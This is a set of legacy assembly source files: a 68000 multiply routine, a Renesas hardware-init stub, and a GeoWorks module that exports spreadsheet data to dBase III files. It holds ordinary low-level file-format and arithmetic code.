quotient bra.s do_div exok move.l d2,d0 ; return quotient tst.l d1 ; clear V, set Z if no remainder exit rts exov move #sr.v,ccr ; set V, clear Z bra.s exit *+++ * Multiply two 32-bit signed numbers, giving a 64-bit signed result * * Registers: * Entry Exit * D0 multiplier result, LSLW * D1 multiplicand result, MSLW *--- cv_slmul smulreg reg d3-d6 movem.l smulreg,-(sp) move.l d0,d6 ; is multiplier negative? bpl.s usm_chka ; no neg.l d0 usm_chka eor.l d1,d6 ; get sign of result tst.l d1 ; is multiplicand negative? bpl.s usm_mult ; no neg.l d1 ; not any more usm_mult bsr.s usmul tst.l d6 ; different signs? bpl.s usm_exit ; no, finished neg.l d0 ; negate... negx.l d1 ; ...the 64-bit result usm_exit movem.l (sp)+,smulreg rts *+++ * Multiply two 32-bit unsigned numbers, giving a 64-bit result * * Registers: * Entry Exit * D0 multiplier result, LSLW * D1 multiplicand result, MSLW *--- cv_ulmul usmreg reg d3-d5 movem.l usmreg,-(sp) bsr.s usmul movem.l (sp)+,usmreg rts * usmul move.l d0,d3 ; copy multiplier move.l d1,d4 ; and multiplicand moveq #0,d5 ; upper LW starts as zero moveq #0,d0 ; result is moveq #0,d1 ; also zero mullp lsr.l #1,d3 ; get a bit bcc.s noadd ; there wasn't one add.l d4,d0 ; add to LSLW addx.l d5,d1 ; and with carry to MSLW noadd tst.l d3 ; end of multiplier? beq.s mulexit ; yes add.l d4,d4 ; no, double... addx.l d5,d5 ; ...the multiplicand bra.s mullp ; next bit mulexit rts * end
; Copyright (C) 2014 Renesas Electronics Corporation ; RENESAS ELECTRONICS CONFIDENTIAL AND PROPRIETARY. ; This program must be used solely for the purpose for which ; it was furnished by Renesas Electronics Corporation. No part of this ; program may be reproduced or disclosed to others, in any ; form, without the prior written permission of Renesas Electronics ; Corporation. ;--------------------------------------------------------------------- ; _hdwinit ; ; void _hdwinit(void); ; ; input: ; NONE ; output: ; NONE ;--------------------------------------------------------------------- ; NOTE : THIS IS A TYPICAL EXAMPLE. .PUBLIC _hdwinit .textf .CSEG TEXTF _hdwinit: RET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: dBase III MODULE: Export FILE: exportFile.asm AUTHOR: Ted H. Kim, 9/14/92 ROUTINES: Name Description ---- ----------- TransExport Library routine called by Impex REVISION HISTORY: Name Date Description ---- ---- ----------- ted 9/92 Initial revision DESCRIPTION: Contains all of file export routines. $Id: exportFile.asm,v 1.1 97/04/07 11:42:57 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ Export segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TransExport %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Library routine called by Impex CALLED BY: Impex PASS: ds:si - ExportFrame RETURN: ax - TransError DESTROYED: bx, cx, dx, si, di, bp, es, ds KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ted 5/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TransExport proc far TE_Local local ImpexStackFrame TE_SSMeta local SSMetaStruc .enter ; check to see if transfer VM file is empty mov ax, TE_EXPORT_INVALID_CLIPBOARD_FORMAT ; just in case... cmp ds:[si].EF_clipboardFormat, CIF_SPREADSHEET LONG jne exit cmp ds:[si].EF_manufacturerID, MANUFACTURER_ID_GEOWORKS LONG jne exit mov ax, ds:[si].EF_transferVMChain.low or ax, ds:[si].EF_transferVMChain.high jne notEmpty ; skip if not empty mov ax, TE_EXPORT_FILE_EMPTY ; ax - TransError jmp exit notEmpty: ; set up the output file for writing mov bx, ds:[si].EF_outputFile ; bx - handle of output file call OutputCacheAttach ; create output cache block mov ax, TE_OUT_OF_MEMORY ; not enough memory LONG jc exit ; exit if error mov TE_Local.ISF_cacheBlock, bx ; save handle of cache block ; get the handle of map entry block from the stack frame mov bx, ds:[si].EF_exportOptions ; bx - map list block mov TE_Local.ISF_mapBlock, bx ; save it ; initialize the stack frame for file exporting mov bx, ds:[si].EF_transferVMFile ; bx - VM file handle mov ax, ds:[si].EF_transferVMChain.high ; ax - VM block handle push bp mov dx, ss lea bp, TE_SSMeta ; dx:bp - SSMetaStruc call SSMetaInitForRetrieval pop bp ; now grab the number of records and fields from the transfer file mov ax, TE_SSMeta.SSMDAS_scrapRows mov TE_Local.ISF_numRecords.low, ax ; ax - number of records mov TE_Local.ISF_numRecords.high, 0 mov ax, TE_SSMeta.SSMDAS_scrapCols mov TE_Local.ISF_numSourceFields, ax; ax - number of fields ; allocate a block for storing field length and type mov ax, FIELD_INFO_BLOCK_SIZE ; ax - size of block to allocate mov cx, ((mask HAF_ZERO_INIT or mask HAF_NO_ERR) shl 8) or 0 call MemAlloc ; allocate a block mov TE_Local.ISF_fieldInfoBlock, bx ; save the handle ; convert to dBase III call ExportFileHeader jc fileErr ; skip if error ; check to see if there is a map block tst TE_Local.ISF_mapBlock jne mapBlk ; if there is, skip call ExportFileFast ; no map block, do fast export jnc noError ; skip if no error jmp fileErr mapBlk: call ExportRecordData jnc noError ; skip if no error ; delete the FieldInfo data block fileErr: push ax ; ax - TransError mov bx, TE_Local.ISF_fieldInfoBlock call MemFree mov bx, TE_Local.ISF_cacheBlock ; bx - handle of cache block call OutputCacheFlush ; flush out the buffer call OutputCacheDestroy ; destroy cache block pop ax ; ax = TransError jmp exit noError: call ExportEndOfFileChar ; write out EOF character mov bx, TE_Local.ISF_fieldInfoBlock call MemFree ; clean up the cached block mov bx, TE_Local.ISF_cacheBlock ; bx - handle of cache block call OutputCacheFlush ; flush out the buffer jc error ; exit if error call OutputCacheDestroy ; destroy cache block mov ax, TE_NO_ERROR ; return with no error jmp exit error: mov ax, TE_FILE_ERROR ; return with file error exit: .leave ret TransExport endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExportFileHeader %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Create a block with file header and write it out CALLED BY: TransExport PASS: ImpexStackFrame RETURN: ImpexStackFrame carry set if error (ax = TransError) DESTROYED: ax, bx, cx, dx, es, ds, si, di SIDE EFFECTS: none PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 9/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExportFileHeader proc near EFH_Local local ImpexStackFrame EFH_SSMeta local SSMetaStruc .enter inherit near ; check to see if there are too many fields mov ax, EFH_Local.ISF_numSourceFields cmp ax, MAX_NUM_FIELDS ; the limit is 128 jle skip ; if not over the limit, skip mov al, MAX_NUM_FIELDS ; al - 128 fields skip: ; calculate the size of file header to allocate inc al ; add one for other info mov cl, FIELD_DESCRIPTOR_SIZE mul cl inc ax ; ax - size of file header block ; now allocate file header block mov cx, ((mask HAF_LOCK or mask HAF_ZERO_INIT) shl 8) or 0 call MemAlloc ; allocate a block LONG jc noMem ; exit if not enough memory mov EFH_Local.ISF_fileHeader, bx ; save the handle mov es, ax clr di mov es:[di].DBH_version, DBASE3_NO_MEMO ; write out ver. num. mov ax, EFH_Local.ISF_numRecords.low mov es:[di].DBH_numRecords.low, ax ; write out num records mov EFH_Local.ISF_recordSize, 1 ; initialize record size to one clr dx ; dx - field counter mov di, size DBaseHeader ; es:di - ptr to field descriptors nextField: call ExportFieldDescriptor ; write out field descriptor jnc notMapped ; skip if the field not mapped ; lock the field info block push es, dx, di mov bx, EFH_Local.ISF_fieldInfoBlock call MemLock ; calculate place to insert FieldHeaderInfo mov es, ax mov ax, dx mov cx, size FieldHeaderInfo mul cx mov di, ax ; es:di - place to insert ; update field infor block for this field mov al, EFH_Local.ISF_fieldType mov es:[di].FHI_type, al mov ax, EFH_Local.ISF_fieldLength mov es:[di].FHI_length, ax call MemUnlock pop es, dx, di ; don't update the pointer if field size was zero tst ax je notMapped ; check to see if we are done add di, size FieldDescriptor notMapped: inc dx cmp dx, EFH_Local.ISF_numSourceFields jne nextField ; write out record length and header size mov byte ptr es:[di], CR ; file header terminator inc di mov ax, EFH_Local.ISF_recordSize mov es:[DBH_recordSize], ax mov es:[DBH_headerSize], di ; if done, write out file header block segmov ds, es clr dx ; ds:dx - fptr to string mov cx, di ; cx - number of bytes to write out mov bx, EFH_Local.ISF_cacheBlock call OutputCacheWrite ; write out file header block ; delete the file header block pushf mov bx, EFH_Local.ISF_fileHeader call MemFree popf jnc quit ; skip if no error mov ax, TE_FILE_ERROR ; ax - TransError jmp quit noMem: mov ax, TE_OUT_OF_MEMORY ; ax - TransError quit: .leave ret ExportFileHeader endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExportFieldDescriptor %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Creates a new file descriptor and copies it into file header CALLED BY: INTERNAL (ExportFileHeader) PASS: es:di - ptr to file header block dx - current column (field) number RETURN: carry clear if the field has not been mapped carry set if mapped DESTROYED: ax, bx, cx, ds, si SIDE EFFECTS: none PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 9/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExportFieldDescriptor proc near uses dx, di EFD_Local local ImpexStackFrame EFD_SSMeta local SSMetaStruc .enter inherit near ; get true column number after the field has been mapped mov ax, dx ; ax - column number mov bx, EFD_Local.ISF_mapBlock ; bx - handle map block mov cl, mask IF_EXPORT ; do export call GetMappedRowAndColNumber jnc exit ; skip if not mapped ; get FieldBlockInfo info from FIELD array mov EFD_SSMeta.SSMDAS_dataArraySpecifier, DAS_FIELD mov EFD_SSMeta.SSMDAS_col, ax ; ax - column number mov EFD_SSMeta.SSMDAS_row, 0 ; row number push bp mov dx, ss lea bp, EFD_SSMeta ; dx:bp - SSMetaStruc call SSMetaDataArrayGetEntryByCoord ; get this element pop bp jnc notEmpty ; exit if empty call ExportGetDefaultFieldInfo ; get default field info jmp done notEmpty: add si, size SSMetaEntry ; ds:si - ptr to FieldBlockInfo ; check to see if this is an empty column tst ds:[si].FIB_fieldSize je skip ; if so, just exit push si, di ; copy the field name into file descriptor clr cx add si, offset FIB_fieldName ; ds:si - ptr to field name next: lodsb stosb inc cx cmp cx, FIELD_NAME_SIZE-1 je doneCopy tst al jne next doneCopy: pop si, di ; get the field data type skip: mov al, ds:[si].FIB_fieldType mov EFD_Local.ISF_fieldType, al ; get the field data length call ExportGetFieldLength ; al - dbase III data type mov es:[di].FD_fieldType, al ; save it cmp EFD_Local.ISF_fieldType, FDT_REAL ; float format? jne notFloat ; if not, skip ; if float format, update the decimal count in field descriptor ; I AM USING A DEFAULT VALUE FOR ALL FLOAT FIELDS BECAUSE THERE ; IS NOT AN EASY WAY OF GETTING DECIMAL OFFSETS FOR EACH FIELD mov es:[di].FD_decCount, DEFAULT_DECIMAL_OFFSET notFloat: mov es:[di].FD_fieldSize, bl ; bx - field length mov EFD_Local.ISF_fieldLength, bx add EFD_Local.ISF_recordSize, bx ; update record length ; unlock the data array push bp mov dx, ss lea bp, EFD_SSMeta ; dx:bp - SSMetaStruc call SSMetaDataArrayUnlock pop bp done: stc ; return with carry set exit: .leave ret ExportFieldDescriptor endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExportGetDefaultFieldInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Create a default field info block. CALLED BY: INTERNAL ExportFieldDescriptor PASS: ax - column number es:di - ptr to file header block RETURN: nothing DESTROYED: ax, bx, cx, dx, si SIDE EFFECTS: none PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 11/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExportGetDefaultFieldInfo proc near EGDFI_Local local ImpexStackFrame EGDFI_SSMeta local SSMetaStruc .enter inherit near ; get field name from CELL array mov EGDFI_SSMeta.SSMDAS_dataArraySpecifier, DAS_CELL mov EGDFI_SSMeta.SSMDAS_col, ax ; ax - column number mov EGDFI_SSMeta.SSMDAS_row, 0 ; row number push bp, ax mov dx, ss lea bp, EGDFI_SSMeta ; dx:bp - SSMetaStruc clr bx ; Assume no data call SSMetaDataArrayGetEntryByCoord ; ds:si <- ptr to data ; cx <- size pop bp, dx jc noCell ; branch if there is no data ; There is data, we need to either reset our pointer, ; or else format the data to a block which we allocate. push bp, dx, es, di mov dx, ss lea bp, EGDFI_SSMeta ; dx:bp - SSMetaStruc call SSMetaFormatCellText ; ds:si <- ptr to text pop bp, dx, es, di ; ax <- size of text jnc notEmpty ; skip if cell exists ; if there is no cell, get a default field name mov cx, FIELD_NAME_SIZE-1 ; cx - maximum field name length call GetDefaultFieldName jmp unlock ; if this cell is empty get a default field name noCell: mov cx, FIELD_NAME_SIZE-1 ; cx - maximum field name length call GetDefaultFieldName jmp getSize notEmpty: push si, di ; copy the field name into file descriptor clr cx next: lodsb stosb inc cx cmp cx, FIELD_NAME_SIZE-1 je doneCopy tst al jne next doneCopy: pop si, di ; unlock the data array unlock: push bp, dx mov dx, ss lea bp, EGDFI_SSMeta ; dx:bp - SSMetaStruc call SSMetaDataRecordFieldUnlock pop bp, dx getSize: ; get field size from CELL array mov EGDFI_SSMeta.SSMDAS_dataArraySpecifier, DAS_CELL mov EGDFI_SSMeta.SSMDAS_col, dx ; dx - column number mov EGDFI_SSMeta.SSMDAS_row, 1 ; row number push bp, dx mov dx, ss lea bp, EGDFI_SSMeta ; dx:bp - SSMetaStruc clr bx ; Assume no data call SSMetaDataArrayGetEntryByCoord ; ds:si <- ptr to data ; cx <- size pop bp, dx jc empty ; branch if there is no data ; There is data, we need to either reset our pointer, ; or else format the data to a block which we allocate. push bp, dx, es, di mov dx, ss lea bp, EGDFI_SSMeta ; dx:bp - SSMetaStruc call SSMetaFormatCellText ; ds:si <- ptr to text pop bp, dx, es, di ; ax <- size of text ; bx <- block (if any) ; unlock the data array pushf push bp, dx mov dx, ss lea bp, EGDFI_SSMeta ; dx:bp - SSMetaStruc call SSMetaDataRecordFieldUnlock pop bp, dx popf jc empty ; make the column a little bit wider just in case add al, FIELD_WIDTH_ADJUSTMENT jmp common empty: mov al, DEFAULT_FIELD_WIDTH ; use the default field size common: mov es:[di].FD_fieldSize, al ; ax - field length mov EGDFI_Local.ISF_fieldLength, ax add EGDFI_Local.ISF_recordSize, ax ; update record length ; get field type from CELL array mov EGDFI_SSMeta.SSMDAS_dataArraySpecifier, DAS_CELL mov EGDFI_SSMeta.SSMDAS_col, dx ; dx - column number mov EGDFI_SSMeta.SSMDAS_row, 1 ; row number push bp, dx mov dx, ss lea bp, EGDFI_SSMeta ; dx:bp - SSMetaStruc call SSMetaDataArrayGetEntryByCoord ; get this element pop bp, dx jc noType ; unlock the data array push bp mov dx, ss lea bp, EGDFI_SSMeta ; dx:bp - SSMetaStruc call SSMetaDataArrayUnlock pop bp add si, size SSMetaEntry ; ds:si - ptr to CellCommon mov al, ds:[si].CC_type ; al - field data type call ConvertCellType jmp skip noType: mov al, FDT_GENERAL_TEXT skip: mov EGDFI_Local.ISF_fieldType, al call ConvertFieldType ; convert to dbase field type mov es:[di].FD_fieldType, al ; save it .leave ret ExportGetDefaultFieldInfo endp FDT_IGNORE equ 255 FDT_FORMULA_TEXT equ 254 FDT_FORMULA_CONST equ 253 ConvertCellType proc near uses si .enter cmp al, CT_TEXT jne checkConst mov al, FDT_GENERAL_TEXT jmp exit checkConst: cmp al, CT_CONSTANT jne checkFormula mov al, FDT_REAL jmp exit checkFormula: cmp al, CT_FORMULA jne checkName formula: add si, size CellCommon ; ds:si - ptr to ReturnType mov al, ds:[si] ; al - ReturnType cmp al, RT_VALUE ; numeric value? jne checkText ; if not, skip mov al, FDT_FORMULA_CONST ; numeric field jmp exit checkText: cmp al, RT_TEXT ; text string? jne error ; if not, error value mov al, FDT_FORMULA_TEXT ; text field jmp exit error: mov al, FDT_FORMULA_CONST ; text field jmp exit checkName: cmp al, CT_NAME jne checkChart mov al, FDT_IGNORE jmp exit checkChart: cmp al, CT_CHART jne checkEmpty mov al, FDT_IGNORE jmp exit checkEmpty: cmp al, CT_EMPTY jne formula mov al, FDT_IGNORE exit: .leave ret ConvertCellType endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ConvertFieldType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Converts FieldDataType to dBase III field type. CALLED BY: (INTERNAL) ExportGetDefaultFieldInfo PASS: al - FieldDataType RETURN: al - dBase III field data type DESTROYED: nothing SIDE EFFECTS: none PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 1/26/93 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ConvertFieldType proc near CFT_Local local ImpexStackFrame CFT_SSMeta local SSMetaStruc .enter inherit near ; check to see if this is a text field cmp al, FDT_GENERAL_TEXT jne checkComputed mov al, 'C' ; al - dBase III field type jmp exit ; check to see if this is a computed field checkComputed: cmp al, FDT_COMPUTED jne checkInteger mov al, 'N' ; convert it to numeric field jmp exit ; check to see if this is an integer field checkInteger: cmp al, FDT_INTEGER jne checkReal mov al, 'N' ; convert it to numeric field jmp exit ; check to see if this is a read field checkReal: cmp al, FDT_REAL jne checkDate mov al, 'N' ; convert it to numeric field jmp exit ; check to see if this is a date field checkDate: cmp al, FDT_DATE jne checkTime mov al, 'D' ; convert it to date field jmp exit ; check to see if this is a time field checkTime: cmp al, FDT_TIME jne checkIgnore mov al, 'C' ; convert it to text field jmp exit checkIgnore: cmp al, FDT_IGNORE jne checkFormula1 mov al, 'C' jmp exit checkFormula1: cmp al, FDT_FORMULA_CONST jne checkFormula2 mov al, 'N' ; numeric field jmp exit checkFormula2: mov al, 'C' ; assume text value exit: .leave ret ConvertFieldType endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExportGetFieldLength %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Given a field data type, returns field length and dBase III data type. CALLED BY: INTERNAL (ExportFieldDescriptor) PASS: ds:si - ptr to FieldDescriptor RETURN: al - dBase III field data type bx - field size DESTROYED: nothing SIDE EFFECTS: none PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 9/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExportGetFieldLength proc near EGFL_Local local ImpexStackFrame EGFL_SSMeta local SSMetaStruc .enter inherit near ; check to see if this is a text field cmp al, FDT_GENERAL_TEXT jne checkComputed mov al, 'C' ; al - dBase III field type mov bx, ds:[si].FIB_fieldSize ; check to see if the field size is too big cmp bx, TEXT_FIELD_SIZE jle exit mov bx, TEXT_FIELD_SIZE ; bx - field length jmp exit ; check to see if this is a computed field checkComputed: cmp al, FDT_COMPUTED jne checkInteger mov al, 'N' ; convert it to numeric field mov bx, FLOAT_FIELD_SIZE ; bx - field length jmp exit ; check to see if this is an integer field checkInteger: cmp al, FDT_INTEGER jne checkReal mov al, 'N' ; convert it to numeric field mov bx, INTEGER_FIELD_SIZE ; bx - field length jmp exit ; check to see if this is a read field checkReal: cmp al, FDT_REAL jne checkDate mov al, 'N' ; convert it to numeric field mov bx, FLOAT_FIELD_SIZE ; bx - field size jmp exit ; check to see if this is a date field checkDate: cmp al, FDT_DATE jne checkTime mov al, 'D' mov bx, DATE_FIELD_SIZE ; bx - field size jmp exit ; it has to be a time field checkTime: mov al, 'C' ; convert it to numeric field mov bx, TIME_FIELD_SIZE ; bx - field size exit: .leave ret ExportGetFieldLength endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExportFileFast %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write out data portion of the meta file using 'SSMetaDataArrayGetNext'. CALLED BY: TransExport PASS: ImportStackFrame RETURN: carry set if error (ax = TransError) DESTROYED: ax, bx, cx, dx, si, di, es, ds SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 9/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExportFileFast proc near EFF_Local local ImpexStackFrame EFF_SSMeta local SSMetaStruc .enter inherit near ; initialize some flags mov EFF_Local.ISF_endOfFile, FALSE mov EFF_Local.ISF_endOfLine, FALSE ; point to the beginning of DAS_CELL data chain mov EFF_SSMeta.SSMDAS_dataArraySpecifier, DAS_CELL push bp mov dx, ss lea bp, EFF_SSMeta ; dx:bp - SSMetaStruc call SSMetaDataArrayResetEntryPointer pop bp ; allocate a block for storing field data mov ax, TEXT_FIELD_SIZE ; ax - size of block to allocate mov cx, (HAF_STANDARD_NO_ERR shl 8) or 0 ; HeapAllocFlags call MemAlloc ; allocate a block mov EFF_Local.ISF_fieldBlock, bx ; save the handle of this block clr EFF_Local.ISF_rowNumber ; record number counter nextRecord: ; write out a space character to indicate the beg. of a record push ds segmov ds, cs mov dx, offset space ; ds:dx - fptr to string mov cx, 1 ; cx - # of bytes to write out mov bx, EFF_Local.ISF_cacheBlock ; bx - handle of cache block call OutputCacheWrite pop ds LONG jc fileErr ; skip if file error clr EFF_Local.ISF_colNumber ; field number counter nextField: ; check to see if the field data we are about to parse has already ; been lock by a previous call to 'SSMetaDataArrayGetNextEntry' tst EFF_Local.ISF_endOfLine jne locked ; if locked, skip ; get an element from DAS_CELL data chain push bp mov dx, ss lea bp, EFF_SSMeta ; dx:bp - SSMetaStruc call SSMetaDataArrayGetNextEntry pop bp jnc locked ; skip if not end of chain ; end of data chain, set end of file flag mov EFF_Local.ISF_endOfFile, TRUE jmp checkEOL locked: ; check to see if we are at the end of a record mov ax, EFF_Local.ISF_rowNumber cmp ax, ds:[si].SSME_coordRow je checkField checkEOL: ; we are at the end of a record, write out some empty ; data fields, if necessary mov dx, EFF_Local.ISF_colNumber cmp dx, EFF_Local.ISF_numSourceFields jne writeEmpty ; no need to write out any empty data fields ; set end of line flag and update row and column counters tst EFF_Local.ISF_endOfFile ; no more data? jne done ; if none, exit mov EFF_Local.ISF_endOfLine, TRUE inc EFF_Local.ISF_rowNumber clr EFF_Local.ISF_colNumber jmp nextRecord writeEmpty: ; write out empty fields until we are at the end of a record mov EFF_Local.ISF_emptyField, TRUE push ds, si call ExportFieldData ; write out field data pop ds, si jc fileErr ; exit if file error inc EFF_Local.ISF_colNumber ; update column counter jmp checkEOL ; done, parse next record checkField: ; check to see if we need to write out some empty data fields mov dx, EFF_Local.ISF_colNumber cmp dx, ds:[si].SSME_coordCol je exportField ; if not, skip to export ; empty fields exist between two non-empty cells, write them out mov EFF_Local.ISF_emptyField, TRUE push ds, si call ExportFieldData ; write out field data pop ds, si jc fileErr ; exit if file error inc EFF_Local.ISF_colNumber ; update column counter jmp checkField ; if not continue exportField: ; finally, we are ready to export this data mov EFF_Local.ISF_emptyField, FALSE add si, size SSMetaEntry ; ds:si - field data call ExportFieldData ; write out field data jc fileErr ; exit if file error inc EFF_Local.ISF_colNumber ; update column counter mov EFF_Local.ISF_endOfLine, FALSE jmp nextField ; continue done: ; unlock the data chain push bp mov dx, ss lea bp, EFF_SSMeta ; dx:bp - SSMetaStruc call SSMetaDataArrayUnlock pop bp ; remove the field data block mov bx, EFF_Local.ISF_fieldBlock call MemFree clc jmp quit fileErr: mov ax, TE_FILE_ERROR ; ax - TransError mov bx, EFF_Local.ISF_fieldBlock call MemFree ; remove the field data block stc quit: .leave ret ExportFileFast endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExportRecordData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write out data portion of the meta file CALLED BY: TransExport PASS: ImportStackFrame RETURN: carry set if error (ax = TransError) DESTROYED: ax, bx, cx, dx, si, di, es, ds SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 9/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ space byte SPACE, 0 ExportRecordData proc near ERD_Local local ImpexStackFrame ERD_SSMeta local SSMetaStruc .enter inherit near ; allocate a block for storing field data mov ax, TEXT_FIELD_SIZE ; ax - size of block to allocate mov cx, (HAF_STANDARD_NO_ERR shl 8) or 0 ; HeapAllocFlags call MemAlloc ; allocate a block mov ERD_Local.ISF_fieldBlock, bx ; save the handle of this block clr cx ; record number counter nextRecord: push cx mov ERD_SSMeta.SSMDAS_row, cx ; cx - row number segmov ds, cs mov dx, offset space ; ds:dx - fptr to string mov cx, 1 ; cx - # of bytes to write out mov bx, ERD_Local.ISF_cacheBlock ; bx - handle of cache block call OutputCacheWrite ; write out space character jc fileErr ; skip if file error clr dx ; field number counter nextField: ; get true column number after the field has been mapped push dx mov ax, dx ; ax - column number mov bx, ERD_Local.ISF_mapBlock ; bx - handle map block mov cl, mask IF_EXPORT ; do export call GetMappedRowAndColNumber jnc skip ; skip if not mapped ; get field data from CELL array mov ERD_Local.ISF_emptyField, FALSE ; assume not empty mov ERD_SSMeta.SSMDAS_dataArraySpecifier, DAS_CELL mov ERD_SSMeta.SSMDAS_col, ax ; ax - mapped column number push bp mov dx, ss lea bp, ERD_SSMeta ; dx:bp - SSMetaStruc call SSMetaDataArrayGetEntryByCoord ; get this element pop bp jnc notEmpty ; skip if not empty mov ERD_Local.ISF_emptyField, TRUE ; set empty field flag notEmpty: pop dx ; dx - current column number push dx add si, size SSMetaEntry ; ds:si - field data call ExportFieldData ; write out field data ; no need to unlock a data entry that was non extant pushf ; save the carry flag cmp ERD_Local.ISF_emptyField, TRUE ; was it an empty field? je empty ; skip if empty ; unlock the huge array block push bp mov dx, ss lea bp, ERD_SSMeta ; dx:bp - SSMetaStruc call SSMetaDataArrayUnlock pop bp empty: popf ; restore the carry flag jc fileErr0 ; exit if file error skip: ; get the next field if not done pop dx inc dx cmp dx, ERD_Local.ISF_numSourceFields jne nextField ; get the next record if not done pop cx inc cx cmp cx, ERD_Local.ISF_numRecords.low jne nextRecord ; remove the field data block mov bx, ERD_Local.ISF_fieldBlock call MemFree clc jmp quit fileErr0: pop dx fileErr: pop cx mov ax, TE_FILE_ERROR ; ax - TransError mov bx, ERD_Local.ISF_fieldBlock call MemFree ; remove the field data block stc quit: .leave ret ExportRecordData endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExportFieldData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write out the field data to export file. CALLED BY: INTERNAL (ExportRecordData) PASS: ds:si - ptr to CellCommon dx - current field number RETURN: carry set if there was a file error DESTROYED: ax, bx, es, ds, si, di SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 9/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExportFieldData proc near uses cx, dx EFD_Local local ImpexStackFrame EFD_SSMeta local SSMetaStruc .enter inherit near ; lock the field info block mov bx, EFD_Local.ISF_fieldInfoBlock call MemLock ; locate the field info for the current field mov es, ax mov ax, dx mov cx, size FieldHeaderInfo mul cx mov di, ax ; es:di - FieldHeaderInfo mov al, es:[di].FHI_type mov cx, es:[di].FHI_length call 